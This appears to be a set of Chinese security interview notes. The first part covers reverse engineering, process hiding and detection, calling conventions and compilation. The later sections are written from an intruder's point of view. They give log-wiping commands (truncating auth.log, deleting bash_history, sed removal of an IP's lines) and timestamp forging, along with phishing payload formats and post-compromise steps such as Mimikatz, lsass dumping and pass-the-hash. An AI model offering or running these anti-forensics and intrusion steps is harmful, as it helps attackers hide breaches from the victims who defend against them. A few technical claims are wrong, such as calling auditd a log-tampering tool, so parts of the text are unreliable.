  2. 函数识别:让 IDA 自动分析程序,它通常会尝试识别标准库中的虚表
  3. 数据段搜索:在 IDA 的数据段(通常是 .data.rdata)中搜索,寻找指针数组。如果一个数组中的元素都是函数地址,并且这些函数之间有逻辑关联,那它很可能就是一个虚表。IDA 通常会把这些识别出来的虚表标记为 vftable 或类似的名字

进程隐藏技术是什么,如何检测

常见的进程隐藏技术

这些技术通常分为两大类:用户态隐藏和内核态隐藏。

1. 用户态进程隐藏

这类技术在用户态运行,主要通过 Hook(钩取)或篡改 API 调用来欺骗进程列表工具

  • API Hooking:恶意软件可以 Hook 掉用于枚举进程的 Windows API 函数,例如 CreateToolhelp32SnapshotProcess32FirstProcess32Next。当任务管理器或其他进程查看器调用这些函数时,Hook 函数会拦截调用,并过滤掉恶意进程的信息,只返回其余正常进程的列表
  • 直接修改内存:一些恶意软件会直接在内存中找到任务管理器或进程列表工具的进程列表,然后将自身从这个列表中移除。这种方法更具侵略性,但成功率较低,因为不同版本的操作系统或工具,其内存结构可能不同
  • 进程名伪装:这是最简单、最基础的伪装。恶意软件会将自己的进程名修改成系统关键进程的名字,例如 svchost.exelsass.exe。这虽然不能隐藏进程,但可以有效迷惑用户和安全人员。

2. 内核态进程隐藏

这类技术通常通过加载驱动程序来获得内核权限,从更底层的数据结构中隐藏自己,使其更难被检测

  • DKOM (Direct Kernel Object Manipulation):这是最强大的进程隐藏技术之一。在 Windows 内核中,所有进程的信息都存储在一个双向链表 PsActiveProcessHead 中。恶意驱动程序可以在内核态直接操作这个链表,将自身的进程对象从链表中移除。由于任务管理器、进程查看器等工具最终都依赖这个链表来获取进程信息,这种方法可以从根本上隐藏进程
  • 修改进程对象属性:除了从链表中移除,恶意驱动还可以直接修改进程对象(EPROCESS 结构)中的某些标志,使其看起来像是已终止或不活跃的进程,从而欺骗依赖于这些标志的工具
  • 内核 API Hooking:类似于用户态 Hooking,恶意驱动程序可以 Hook 掉内核中用于进程枚举的函数,例如 PsLookupProcessByProcessIdZwQuerySystemInformation。这种 Hook 更加底层,也更难被发现

如何检测进程隐藏技术

检测进程隐藏是一个复杂的任务,需要使用多层次的方法和工具

1. 跨进程检测

  • 进程列表比对:从两个或更多不同的数据源获取进程列表,然后进行比对。例如,同时使用任务管理器和 Sysinternals 工具套件中的 Process Explorer。如果某个进程在一个列表中出现,而在另一个列表中没有,那么它很可能被隐藏了
  • 命令行工具:使用命令行工具(如 tasklistwmic)获取进程列表,并将其结果与图形化工具进行比对

2. 底层数据结构检查

  • 利用 DKOM 的逆向检测:反恶意软件工具可以在内核态直接遍历 PsActiveProcessHead 链表,并与通过 ZwQuerySystemInformation 等高层 API 获取的进程列表进行比对。如果链表中的某个进程没有出现在 API 返回的列表中,就说明存在 DKOM 隐藏
  • 检查 EPROCESS 结构:反恶意软件工具可以检查 EPROCESS 结构中与隐藏相关的标志,例如进程状态和父进程 ID,来识别异常情况

3. 行为分析

  • 网络连接监控:即使进程被隐藏,它仍然需要进行网络通信。通过监控所有网络连接,并将其与已知的进程列表进行比对,可以发现那些没有对应进程的异常网络活动
  • 文件句柄和互斥量:恶意进程可能会创建文件句柄或互斥量。通过枚举这些系统资源,可以发现那些属于隐藏进程的资源
  • CPU 使用率和内存占用:即使进程被隐藏,它仍然会占用 CPU 和内存。通过监控系统的整体资源使用情况,可以识别出那些没有对应进程的异常资源消耗

如果多进程下,A 进程的 Source 触发到了 B 进程的 sink 点,如何溯源

1. 识别并关联进程间通信(IPC)

首先,你需要将进程 A 的 source 和进程 B 的 sink 关联起来

  • 监控 IPC 调用:在两个进程中,同时监控所有 IPC 相关的系统调用。在 Linux 上,这可能包括 pipe(), socket(), shmget(), msgget() 等。在 Windows 上,这可能是命名管道、共享内存的 API 调用
  • 记录数据流:不仅要记录 IPC 调用,还要记录通过 IPC 传递的数据内容。这是将 sourcesink 联系起来的关键。例如,如果进程 A 通过管道写入了一个特定的恶意数据,你需要记录下这个数据,然后追踪它是否被进程 B 从管道中读出
  • 使用动态分析工具:利用动态分析工具来自动化这个过程
    • Frida/Ptrace:你可以编写脚本,利用 Frida 或 Ptrace 这样的动态插桩框架,在两个进程中同时 Hook 所有 IPC 相关的函数
    • eBPF:在 Linux 上,eBPF 是一个强大的工具。你可以编写 eBPF 程序,在内核层面监控所有进程间的通信,并记录下通信的数据和进程 ID。这比用户态 Hooking 更稳定、更难以被绕过

2. 构建跨进程的控制流图

传统的控制流图只在单个进程内工作。要解决多进程溯源问题,你需要构建一个跨进程的、依赖于 IPC 事件的控制流图

  • 进程内 CFG:首先,分别构建进程 A 和进程 B 的独立控制流图
  • 跨进程边(Inter-Process Edges):在两个 CFG 之间,根据 IPC 事件添加“边”
    • 当进程 A 执行 write() 系统调用时,在 CFG 中添加一条从该 write() 指令到进程 B 的 read() 系统调用的边。这条边代表了数据的流动
    • 这条边需要包含时间戳数据内容,以确保因果关系的正确性。

通过这种方式,你可以将 A 进程的 source 点和 B 进程的 sink 点在同一个图中连接起来,从而实现完整的溯源

3. 自动化与工具支持

手动进行上述分析几乎是不可能的。你需要依赖强大的自动化工具

  • 进程监控工具

    • Linuxstrace 可以追踪系统调用。ltrace 可以追踪库函数调用。但它们只对单个进程有效,你需要同时对两个进程使用
    • Windows:Sysinternals 的 Procmon 是一个强大的工具,可以记录所有进程的系统调用和文件/注册表操作
  • 动态污点分析

    • Taint Analysis 是一种强大的技术,它可以标记“不干净”(untainted)的数据,并追踪其在程序中的传播
    • 你可以将进程 A 的 source 数据标记为“污点”。然后,追踪这个污点数据在进程 A 内的传播。当它通过 IPC 传递给进程 B 时,这个污点也会被传递过去。最终,如果污点数据到达了进程 B 的 sink 点,你就可以得到完整的溯源路径
    • 这通常需要修改虚拟机监视器(VMM)或使用专门的动态分析框架来实现

JNDI 如何做 Hook

1. 使用 Java Agent 动态修改字节码

这是最强大和最通用的 Hook 方法。Java Agent 可以在不修改源代码的情况下,在 JVM 运行时动态地修改类的字节码

  • 原理:创建一个 Java Agent,并在 JVM 启动时通过 -javaagent 参数加载它。在 Agent 的 premainagentmain 方法中,你可以使用 ASMJavassistByte Buddy 等字节码操作库,找到 InitialContext.lookup(name) 所在的类和方法
  • Hook 实现:找到目标方法后,可以修改它的字节码,在其原始逻辑执行前或执行后插入你自己的代码
    • 插入安全检查:在 lookup 方法的开头,插入一段代码来检查传入的 URL。你可以判断 URL 是否符合预设的白名单,或者直接拒绝所有远程 JNDI 请求
    • 记录日志:将 lookup 方法的参数和调用堆栈记录下来,以便进行审计
    • 修改返回对象:如果 URL 被判定为恶意,你可以修改 lookup 方法的返回值为一个安全的对象,而不是让其继续进行远程查找
  • 优点:非常灵活,可以 Hook 任何类的任何方法,无需访问源代码
  • 缺点:需要深入理解 Java 字节码,且实现起来比较复杂。

2. 使用动态代理

动态代理是一种更高级的 Hook 方法,它通过 Java 的反射机制来创建接口的代理对象

  • 原理:如果你知道应用程序使用的是某个 JNDI 接口(例如 Context),你可以创建一个代理对象,这个代理对象会实现相同的接口,并在所有方法调用时,将调用转发给你自己的处理逻辑
  • Hook 实现
    1. 找到应用程序创建 InitialContext 的地方
    2. 用你自己的代理类替换 InitialContext 的实例
    3. 在代理类中,拦截 lookup(name) 方法的调用
    4. lookup 方法的实现中,你可以先执行安全检查,然后再决定是否调用原始的 InitialContext.lookup(name)
  • 优点:不需要字节码操作,相对简单
  • 缺点:只能 Hook 接口,对于没有实现接口的类不起作用。此外,需要修改应用程序的某些部分来插入代理,不像 Java Agent 那样完全透明

3. 修改 JVM 参数

这是最简单的 Hook 方法,但功能也最有限

  • 原理:一些 JVM 实现了特殊的参数来控制 JNDI 的行为。例如,在一些版本的 Java 中,可以通过设置 com.sun.jndi.rmi.object.trustURLCodebase=false 来阻止 RMI 客户端加载远程对象
  • Hook 实现:只需在 JVM 启动命令中添加这些参数即可
  • 优点:非常简单,无需编写代码
  • 缺点:依赖于特定的 JVM 版本和参数,无法进行细粒度的控制,也不能用于日志记录等目的

.data 段存放哪些数据

.data 段,即数据段,主要存放已经初始化的全局变量和静态变量

当编译器编译程序时,如果发现一个全局变量或静态变量被赋予了一个非零的初始值(比如 int global_var = 10;),那么这个变量的值就会被存储在.data段中。这个段在可执行文件(比如.exe 或可执行的 ELF 文件)中是实际存在的,并占用文件空间。当程序加载到内存时,操作系统的加载器会把这部分数据原封不动地加载到内存中

  • 例子

    • int initialized_global = 100;
    • static char static_string[] = "Hello World";

.bss 段存放哪些数据

.bss 段,即未初始化数据段(Block Started by Symbol),主要存放未初始化的全局变量和静态变量

.bss段的特殊之处在于,它在可执行文件中不占用任何实际的磁盘空间。它只在可执行文件中有一个占位符,告诉操作系统在加载程序时需要为这块区域分配多大的内存。当程序被加载到内存后,操作系统会为 .bss 段分配一片连续的内存空间,并且会自动将其所有字节初始化为零

这种设计是为了节省可执行文件的大小。如果一个程序有很多未初始化的全局变量,将它们全部写进文件会非常浪费空间,因为它们的值都是已知的(默认是0)

  • 例子
    • int uninitialized_global;
    • static char static_array[1024];

函数调用时的流程,参数如何传入以及寄存器、栈的变化

函数调用前的准备 (Caller)

在调用函数前,调用方(caller)会进行以下准备:

  1. 参数传递
    • 寄存器优先:对于前几个参数(通常是前4个,具体数量取决于调用约定),它们会被放入特定的通用寄存器中。在 x64 fastcall 约定下,参数会依次放入 RCX, RDX, R8, R9 寄存器。这种方式非常快,因为它避免了昂贵的内存操作
    • 栈传递:如果参数数量超过了寄存器的限制,剩下的参数就会被从右到左(或从左到右,取决于具体约定)压入栈中
  2. 栈帧对齐:为了保证性能,特别是对于一些高级指令集(如 SSE、AVX),栈帧需要对齐到特定的字节边界(通常是16字节)。调用方会确保在调用 call 指令前,栈指针 RSP 是对齐的
  3. 调用指令:最后,调用方会执行 call 指令。call 指令有两个主要作用:
    • 下一条指令的地址(即函数的返回地址)压入栈中
    • 跳转到被调用函数(callee)的入口地址

函数执行过程中的变化 (Callee)

一旦 call 指令将控制权转移给被调用函数(callee),它会做以下几件事:

  1. 保存旧栈帧:函数的第一条指令通常是 push rbp。这将调用方函数的基址寄存器 RBP 的值压入栈中,保存了调用方的栈帧信息
  2. 建立新栈帧:接下来,函数会执行 mov rbp, rsp。这会将栈指针 RSP 的当前值复制到 RBP,从而建立起当前函数的栈帧。从现在开始,所有局部变量和参数都可以通过 RBP 加上或减去一个偏移量来访问
  3. 局部变量分配:如果函数有局部变量,它会通过 sub rsp, [size] 指令在栈上分配空间。这个操作会使栈指针 RSP 向低地址方向移动,为局部变量腾出空间
  4. 保存非易失性寄存器
    • 易失性寄存器(Volatile / Caller-saved)RAX, RCX, RDX, R8-R11等。这些寄存器被认为是临时的,调用方不指望它们在函数返回后保持原值
    • 非易失性寄存器(Non-volatile / Callee-saved)RBX, RBP, RDI, RSI, R12-R15等。这些寄存器被认为需要保持其值不变。如果被调用函数需要使用它们,就必须在使用前将它们的值压入栈中,并在返回前恢复
  5. 执行函数主体:现在,函数开始执行其核心逻辑。它可以使用传递进来的参数(通过寄存器或栈),也可以使用自己栈上的局部变量

函数返回时的清理 (Callee & Caller)

当函数执行完毕,准备返回时,会进行以下清理工作:

  1. 恢复栈指针:函数会执行 mov rsp, rbp。这个指令会将 RSP 的值恢复到进入函数时的状态,从而释放所有局部变量所占用的栈空间
  2. 恢复旧栈帧:接着,函数会执行 pop rbp。这会将调用方保存的 RBP 值从栈中弹出并恢复到 RBP 寄存器中,从而恢复到调用方的栈帧
  3. 返回指令:最后,函数执行 ret 指令。ret 指令的作用是:
    • 从栈中弹出返回地址
    • RIP(指令指针寄存器)的值设置为弹出的返回地址,从而将程序的控制权交还给调用方的下一条指令
  4. 参数清理:在某些调用约定(如 cdecl)中,调用方需要负责清理栈上用于参数传递的空间。然而在 fastcall 等现代约定中,由于参数主要通过寄存器传递,这个步骤变得简化。如果参数是通过栈传递的,ret 指令后面通常会带一个立即数,告诉 CPU 在返回前额外弹出多少字节的栈空间

解释程序的编译和链接,编译的过程中会有哪些操作

编译:从源代码到目标代码

编译(Compilation) 是一个多阶段的过程,它将我们用高级语言(如 C、C++)编写的源代码,转换成机器能理解的低级代码。这个过程通常由编译器(如 GCC, Clang)完成,可以细分为以下几个阶段:

1. 预处理 (Preprocessing)

预处理器是编译过程的第一个阶段。它的主要工作是处理源代码中的预处理指令,这些指令以 # 开头

  • 头文件包含#include <stdio.h> 指令会将 stdio.h 文件的内容完整地复制到当前文件中
  • 宏展开#define PI 3.14159 会将所有出现的 PI 替换为 3.14159
  • 条件编译#ifdef DEBUG#endif 这类指令会根据特定条件决定是否编译某段代码

预处理阶段完成后,会生成一个**.i 文件**,它是一个纯文本文件,包含了所有展开后的代码,没有任何 # 指令

2. 编译 (Compiling)

在这个阶段,编译器开始真正的工作。它会检查预处理后的 .i 文件,进行语法分析和语义分析,并将其转换成汇编代码

  • 语法分析:检查代码是否符合语言的语法规则,比如括号是否匹配,分号是否遗漏
  • 语义分析:理解代码的含义,比如变量是否已声明,类型是否匹配
  • 中间代码生成:生成一种与特定机器无关的中间代码
  • 代码优化:对中间代码进行各种优化,例如删除不必要的代码、简化表达式等,以提高程序运行效率

这个阶段会生成一个**.s 文件**,里面全是人类可读的汇编语言指令

3. 汇编 (Assembling)

汇编器负责将汇编代码 .s 文件转换成机器码

  • 它将每条汇编指令翻译成对应的二进制机器指令
  • 同时,它会处理程序中使用的各种符号(比如函数名和全局变量名),并在一个符号表中记录下它们的位置

汇编完成后,会生成一个**.o 文件**,也称为目标文件(Object File)。这个文件是二进制格式,但它还不是一个可执行文件,因为它可能依赖于其他文件中的函数或数据

链接:将目标文件组装成可执行文件

链接(Linking) 是编译过程的最后一个阶段。链接器(Linker)的工作是把一个或多个目标文件以及需要的库文件(Library Files)组合在一起,创建出一个完整的可执行文件

链接过程主要解决两个问题:

  1. 符号解析(Symbol Resolution):当你在一个目标文件中调用另一个目标文件中的函数时,比如 main.o 调用了 printf 函数,编译器在 main.o 中只知道 printf 的名字,但不知道它在哪里。链接器会找到 printf 所在的库文件(比如 libc.a),并用 printf 函数的实际内存地址来替换 main.o 中对它的引用
  2. 地址重定位(Address Relocation):目标文件中的代码和数据地址都是相对于文件开头的。链接器会将它们重新分配到最终可执行文件的内存地址空间中,确保每个函数和变量都有一个唯一的、确定的地址

链接完成后,我们最终得到一个完整的、可以直接运行的可执行文件


说说 If/Else 语法树

If/Else 语法树的结构

一个典型的 if/else 语法树通常包含一个根节点和三个子节点,反映了 if/else 语句的三个核心部分:

  1. 条件表达式(Condition Expression):这是 if 语句括号里的布尔表达式。它会被编译成判断条件是否为真的机器码。在语法树中,它通常是 if/else 根节点的一个子节点
  2. 真分支(True Branch):这是当条件表达式为真时执行的代码块。在语法树中,它是一个子树,根节点通常表示为 ThenTrue,其子节点代表了该代码块中的所有语句
  3. 假分支(False Branch):这是当条件表达式为假时执行的代码块(即 else 后面的部分)。它也是一个子树,根节点通常表示为 ElseFalse,其子节点代表了该代码块中的所有语句

如果是一个简单的 if 语句(没有 else),那么假分支节点可能为空或不存在

举例说明

让我们以一段简单的 C 语言代码为例,看看它的 if/else 语法树长什么样

源代码:

1
2
3
4
5
if (a > 5) {
b = 10;
} else {
c = 20;
}

对应的语法树结构:

1
2
3
4
5
6
7
8
     If-Else
/ | \
/ | \
条件 真分支 假分支
/ | \
> = =
/ \ / \ / \
a 5 b 10 c 20

节点解释:

  • 根节点If-Else,表示这是一个条件语句
  • 左子节点>,表示条件表达式是比较操作。它的子节点是 a5,表示比较的是变量 a 和常量 5
  • 中间子节点=,表示真分支的代码是赋值操作。它的子节点是 b10
  • 右子节点=,表示假分支的代码也是赋值操作。它的子节点是 c20

语法树的作用

在编译过程中,生成语法树是一个非常关键的中间步骤。编译器利用这个树形结构来:

  • 进行语法检查:确保代码结构正确
  • 生成中间代码:编译器可以遍历这棵树,将其转换成更低级别的代码表示,如三地址码
  • 进行代码优化:例如,如果 if 语句的条件是一个常量,并且总是为真或假,编译器可以在编译时就删除掉永远不会执行的分支,从而优化代码

如何比较两个 C 函数的相似度

1. 二进制层面比较

这是最直接但最不健壮的方法,通常只作为初步筛选

  • 字符串哈希 (MD5/SHA-256):这是最简单的方法。将函数编译后的机器码提取出来,然后计算其哈希值。
    • 优点:速度快,可以快速识别完全相同的函数
    • 缺点:非常脆弱。任何微小的改动,比如插入一条 NOP 指令、改变局部变量的顺序,都会导致哈希值完全不同。因此,它无法检测代码克隆或相似的代码
  • 模糊哈希 (Fuzzy Hashing):与传统的哈希算法不同,模糊哈希(如 ssdeepTLSH)能够生成一个代表文件或代码块结构特征的哈希值。两个哈希值之间的距离可以用来衡量它们的相似度
    • 优点:能够容忍代码中的小改动,可以发现有细微变化的函数
    • 缺点:对于较大的代码重构(如改变控制流),效果不佳

2. 结构层面比较

这种方法比二进制比较更抽象,对编译器的影响和一些代码改动不敏感

  • 控制流图 (Control Flow Graph, CFG) 比较
    • 方法:将每个函数表示为一个控制流图,其中节点是基本块(一系列没有跳转的连续指令),边代表控制流。比较两个函数的相似度就变成了比较它们 CFG 的结构相似度。这通常通过图匹配算法来实现,比如子图同构或图编辑距离(graph edit distance)
    • 优点:非常健壮。它对寄存器分配、指令顺序等改动不敏感。如果两个函数的逻辑结构相同,即使它们用不同的编译器编译,CFG 也会非常相似
    • 缺点:算法复杂,计算量大,尤其是在面对大型函数时
  • 函数特征向量 (Function Feature Vectors)
    • 方法:为每个函数提取一系列特征,并将其表示为一个向量。这些特征可以包括:
      • 基本块数量
      • 指令数量
      • 算术指令、逻辑指令、跳转指令的比例
      • 循环嵌套深度
      • 函数调用的数量和类型
    • 优点:将函数简化为数值向量,可以使用简单的距离度量(如欧几里得距离或余弦相似度)进行快速比较,非常适合大规模数据集
    • 缺点:丢失了结构信息。两个结构完全不同的函数可能会有相似的特征向量,反之亦然

3. 语义层面比较

这是最强大但也是最困难的方法,旨在比较函数的行为和功能,而不是其形式

  • 抽象语法树 (Abstract Syntax Tree, AST) 比较

    • 方法:将源代码或反编译代码解析成抽象语法树。比较两个函数的相似度就变成了比较它们 AST 的结构。这通常通过树编辑距离(tree edit distance)算法来实现
    • 优点:高度抽象,对变量名、代码格式等变化完全免疫,能够准确反映代码的逻辑结构
    • 缺点:依赖于高质量的反编译器,并且 AST 比较算法同样非常耗时
  • 污点分析 (Taint Analysis) 或数据流分析

    • 方法:分析函数的输入如何影响其输出。如果两个函数在给定相同输入时产生相同的输出,并且内部数据流路径相似,它们就是相似的
    • 优点:能够发现功能上完全相同的代码,即使它们的实现方式天差地别
    • 缺点:非常复杂,很难自动化,且无法处理所有情况

    什么情况下源代码与 IDA 反编译程序的代码差别很大

1. 编译器优化级别很高

现代编译器(如 GCC、Clang、MSVC)在优化程序性能时,会彻底改变代码的结构,使其变得对机器更友好,但对人来说却很难理解

  • 循环展开 (Loop Unrolling):编译器会将一个简单的 for 循环展开成一长串重复的代码,以减少循环控制的开销。这会使得原本紧凑的循环逻辑在反编译代码中变得冗长且难以识别
  • 内联函数 (Function Inlining):为了消除函数调用的开销,编译器会将小型函数的代码直接插入到调用它的地方。这会使得原本独立的函数在反编译代码中“消失”,并融入到其他函数的逻辑里
  • 寄存器优化:编译器会尽可能地将变量存储在 CPU 寄存器中,而不是内存。这会使得原本清晰的变量赋值和操作在反编译代码中变得像一系列杂乱的寄存器操作
  • 死代码消除和指令重排:编译器会移除那些永远不会执行的代码,并重新排列指令以更好地利用 CPU 的流水线。这都会使反编译结果与源代码大相径庭

2. 原始代码使用了复杂的语言特性

一些高级语言的特性在编译后会产生非常独特的机器码,这给反编译带来了巨大挑战

  • 多态和虚函数:C++ 中的虚函数和继承机制通常依赖于虚函数表(vtable)。反编译器很难准确地重建类的层次结构和虚函数调用,你看到的可能只是一堆对地址和偏移量的复杂操作
  • 模板和泛型:C++ 模板在编译时会实例化成多个独立的函数,每个函数对应一种数据类型。反编译器无法知道这些函数原本是模板,只会将它们视为独立的、名字可能被混淆的函数
  • 异常处理try-catch 块的实现非常复杂,通常涉及到隐藏的表格和栈展开机制。反编译工具很难将这些底层的跳转和数据表恢复成高级语言的 try-catch 结构

3. 程序被混淆或加壳

恶意软件或一些商业软件为了防止逆向分析,会使用各种代码混淆(obfuscation)技术或加壳(packing)

  • 代码混淆
    • 控制流平坦化 (Control Flow Flattening):将函数原本的线性控制流打乱,通过一个大的 switch 语句或多个 if/else 块来控制程序的执行,使得反编译出来的代码变得像一个复杂的意大利面条式代码
    • 垃圾指令插入:插入大量无用的指令,使得反编译工具和分析人员难以理解真正的代码逻辑
    • 间接跳转:使用复杂的计算来确定跳转目标,而不是直接跳转
  • 加壳:程序被压缩或加密,原始代码只有在运行时才会被解密和执行。IDA Pro 看到的只是一个加载器或解密器,而不是原始代码,除非你先脱壳

4. 编译器不同或使用了特定编译器

  • 不同的编译器,甚至同一编译器的不同版本,都会产生不同的机器码
  • 某些编译器或工具链(如嵌入式系统编译器)可能会使用不寻常的调用约定或优化策略,这使得常见的反编译工具难以正确地识别函数参数和局部变量

25- 痕迹清除

清理日志要清理哪些

1. 系统日志

这是最核心的部分,记录了系统层面的所有操作

  • 登录日志(auth.logsecure:这是最重要的一环,需要清理我们所有登录、susudo 等提权操作的记录。这些日志会暴露我们的 IP 地址、用户名和登录时间
  • Bash 历史记录(~/.bash_history:命令行操作记录会直接暴露我们执行过的所有命令,包括文件查找、下载工具、修改配置等。必须彻底清除这个文件,或者在操作前使用 unset HISTFILEhistory -c 来禁用或清除
  • 任务计划日志(cron.log:如果你使用了定时任务来维持权限或者执行特定操作,别忘了清除相关的 cron 日志
  • 内核日志(dmesg:虽然不常需要,但某些内核级别的操作或异常也会在这里留下痕迹。

2. 应用日志

除了系统日志,很多应用程序也会生成自己的日志文件,同样需要清理

  • Web 服务器日志(如 Apache 的 access.logerror.log,Nginx 的 access.logerror.log:这些日志会记录所有对网站的访问请求,我们的扫描、利用、上传后门等操作都会被记录下来,比如**GET /shell.jsp** 这样的请求
  • 数据库日志(如 MySQL 的 mysql.logslow.log:如果你与数据库进行了交互,日志可能会记录你的连接信息、执行的 SQL 查询等
  • FTP 服务器日志:如果你通过 FTP 上传或下载了文件,日志会记录你的连接、用户名和操作
  • SSH 服务器日志:与登录日志类似,但更专注于 SSH 连接本身,会记录连接来源和认证尝试

3. 其他关键文件和目录

除了日志文件,还有一些其他地方也可能会留下我们的痕迹

  • 临时文件(/tmp/var/tmp:在利用漏洞、执行脚本或上传后门时,我们经常会把文件放在临时目录。别忘了清理掉这些文件
  • 上传的后门或工具:这是最直观的痕迹,确保你上传的所有文件,无论是 webshellncmimikatz 还是其他工具,都已彻底删除
  • 进程信息(/proc:虽然系统重启后进程信息会消失,但在操作期间,ps 命令可能会暴露我们运行的恶意进程
  • 文件元数据:有些高级的痕迹清理会关注文件的创建、修改和访问时间。你可以使用一些工具(如 touch)来修改这些时间戳,使其看起来没有被动过

如何删除 Linux 机器的入侵痕迹

1. 消除日志文件中的痕迹

日志文件是系统管理员和安全团队发现入侵的最主要线索。因此,这是痕迹清理的首要目标

  • 识别和清理日志:攻击者在入侵后,通常会在以下几个核心日志文件中留下痕迹:

    • /var/log/auth.log/var/log/secure:记录用户的登录和认证信息
    • /var/log/lastlog:记录所有用户的最后一次登录时间
    • /var/log/wtmp/var/run/utmp:记录用户的登录/登出历史
    • /var/log/cron:记录定时任务(Cron)的执行情况
  • 清理方法

    • 方法一:使用工具。你可以使用像 auditd 这样的工具来监控和篡改日志

    • 方法二:手动清理。用 vimnano 等文本编辑器打开日志文件,删除你的操作记录。然后,使用 > filename 命令清空日志文件,或者使用 dd 命令来删除特定行

      1
      2
      # 示例:清空 auth.log
      > /var/log/auth.log
    • 方法三:使用 history -c。清除当前会话的 Bash 历史记录。此外,你还需要手动删除 .bash_history 文件中的记录

      1
      2
      history -c
      rm /root/.bash_history
    • 方法四:使用 sed。这是一种更精确的方法,你可以使用 sed 命令删除包含特定关键词的行,而不影响其他日志

      1
      2
      # 示例:删除包含 IP 地址 1.2.3.4 的行
      sed -i '/1.2.3.4/d' /var/log/auth.log
  • 重要提示:在进行任何操作前,最好以最小权限的账户进行,并立即在完成操作后清理该账户的痕迹

2. 删除恶意文件和后门

入侵成功后,攻击者通常会在系统中植入后门程序或 WebShell,以保持持久化访问

  • 查找恶意文件

    • 按时间戳查找:使用 find 命令查找在你入侵时间段内被修改过的文件。这通常是发现后门文件最有效的方法

      1
      2
      # 示例:查找过去 24 小时内修改过的文件
      find / -mtime 0 -type f -print
    • 按文件名或类型查找:查找常见的后门文件名,如 .php.jsp.sh,或者包含特定字符串的文件。

      1
      2
      # 示例:查找所有以 .jsp 结尾的文件
      find / -name "*.jsp"
  • 删除文件:找到可疑文件后,使用 rm 命令将其彻底删除

3. 清理已创建的用户和计划任务

为了保持持久化,攻击者可能会创建新的用户账户或设置定时任务

  • 删除用户

    • 检查 /etc/passwd/etc/shadow 文件,删除任何可疑的新用户

    • 使用 userdel 命令删除用户账户,并加上 -r 参数同时删除其主目录

      1
      userdel -r maluser
  • 清理计划任务

    • 检查 crontab -l 命令的输出,删除任何可疑的定时任务
    • 检查 /etc/cron.* 目录下的所有文件,以及 /var/spool/cron/ 目录下的用户 crontab 文件。

4. 消除其他关键痕迹

还有一些其他关键的痕迹需要清理,这些往往被忽略

  • SSH 密钥:检查 ~/.ssh/authorized_keys 文件,删除任何你添加的公钥

  • 隐藏文件:检查你的主目录或系统目录中是否有以 . 开头的隐藏文件

    1
    ls -al /home/
  • 清除缓存:清除系统和应用程序的缓存文件

26- 钓鱼社工

钓鱼方法除了 exe 这种双击的还有什么

1. 宏病毒

这是最常见也最危险的钓鱼方式之一。攻击者通常会发送一个带有恶意宏的 Office 文档,比如 Word 文档(.doc, .docx, .docmExcel 表格(.xls, .xlsx, .xlsmPowerPoint 演示文稿(.ppt, .pptx, .pptm

当用户打开文件时,文档会提示“启用内容”或“启用宏”。一旦用户点击,隐藏在宏中的恶意代码就会自动执行,通常用于下载并运行更强大的恶意软件,或者直接窃取本地数据

2. 脚本文件

脚本文件可以直接在系统上运行,而无需用户安装任何程序。它们通常用于执行自动化任务,但也可以被恶意利用

  • VBScript(.vbsJScript(.js:这两种脚本文件在 Windows 系统上可以直接运行,攻击者可以伪装成图片、压缩包等,诱骗用户双击执行
  • PowerShell 脚本(.ps1:PowerShell 功能强大,可以执行各种系统操作。攻击者经常利用它来无文件(Fileless)攻击,即恶意代码不写入硬盘,直接在内存中执行,极大地增加了防御难度
  • 批处理文件(.bat, .cmd:虽然功能不如 PowerShell 强大,但批处理文件简单易用,可以执行基本的下载和运行命令

3. 压缩文件

攻击者经常将恶意文件伪装成压缩包 .zip, .rar, .7z。这种方法特别有效,因为:

  • 它可以绕过一些邮件或网站的安全扫描,因为扫描器通常不会深入检查压缩包内的文件
  • 压缩包内的文件名可以被伪装,比如将恶意脚本命名为 invoice.pdf.vbs,让用户误以为是 PDF 文件
  • 攻击者可以创建自解压压缩包(SFX),用户双击后无需手动解压,恶意代码会自动执行

4. 快捷方式文件

快捷方式文件(.lnk 是一种非常狡猾的钓鱼方式。它看起来像一个指向其他文件的普通图标,但实际上它可以在用户点击时执行任何命令

攻击者可以创建一个名为“我的账单.pdf”的快捷方式,并将其图标设置为 PDF 图标,但其目标路径却是 PowerShell 脚本,用来下载恶意软件。用户很难从外观上辨别真伪

5. PDF 文件

PDF 文档 .pdf 也可以成为钓鱼的载体。虽然 PDF 本身是安全的,但它们可以嵌入 JavaScript 代码或利用软件漏洞。攻击者可以:

  • 嵌入恶意 JavaScript 脚本,在用户打开文件时执行
  • 利用 Adobe Acrobat 或其他 PDF 阅读器的旧漏洞,在用户打开恶意 PDF 时触发缓冲区溢出等漏洞,从而控制系统

钓鱼上线的主机如何进行利用

1. 权限维持和环境侦察

首先,你需要确保这条“上线”的连接不会轻易中断,并尽可能地了解你所处的新环境

  • 持久化:这是首要任务。如果你的初始 Shell 仅仅是一个内存中的进程,一旦机器重启或程序关闭,连接就会丢失。你需要将后门永久地植入系统
    • 常见方法:利用 注册表启动项计划任务服务。虽然这些方法可能被安全软件拦截,但你必须尝试,并结合 无文件技术,例如让启动项执行一个从你服务器下载并反射加载的 PowerShell 脚本
  • 信息收集:你需要像侦探一样,了解这台主机的一切
    • 用户信息whoamiwhoami /all,查看当前用户的权限。是普通用户还是管理员?
    • 网络信息ipconfig /allroute print,了解主机的 IP 地址、子网掩码、网关和路由表。这能帮助你绘制网络拓扑图
    • 域环境net user /domainnet group "domain computers" /domain,判断主机是否在域内,以及当前用户是否是域用户。如果主机在域内,那么你的攻击范围将大大扩展
    • 系统信息systeminfo,了解操作系统版本、补丁情况
    • 杀毒软件tasklistGet-Process,检查是否有安全软件正在运行,这决定了你下一步的行动风险

2. 凭据窃取与权限提升

获取凭据是横向移动的核心。即使你不是管理员,也可能窃取到管理员的凭据

  • 窃取凭据:这是你最重要的任务
    • Mimikatz:如果拥有管理员权限,可以使用 Mimikatz 提取 lsass.exe 进程中的明文密码、哈希和 Kerberos 票据。这是最直接、最有效的方法
    • 内存转储:如果无法直接运行 Mimikatz,可以尝试将 lsass.exe 进程的内存转储到文件,再将文件下载到本地进行离线分析
    • 浏览器密码:许多用户会在浏览器中保存密码。可以找到浏览器的密码存储路径,并尝试使用工具解密
  • 权限提升:如果当前权限较低,需要想办法获得管理员权限
    • 内核漏洞:利用操作系统或驱动程序的漏洞进行提权。例如,Windows 历史上就有很多可被利用的提权漏洞
    • 配置缺陷:寻找软件安装目录的权限配置问题,或者服务的文件路径没有加引号等问题

3. 横向移动与内网渗透

一旦你获得了高权限凭据,就可以将攻击范围从单台主机扩展到整个内网

  • 哈希传递(Pass-the-Hash):利用窃取到的密码哈希,使用 psexec.pyMetasploit 等工具,在不获取明文密码的情况下,以域用户的身份登录其他机器
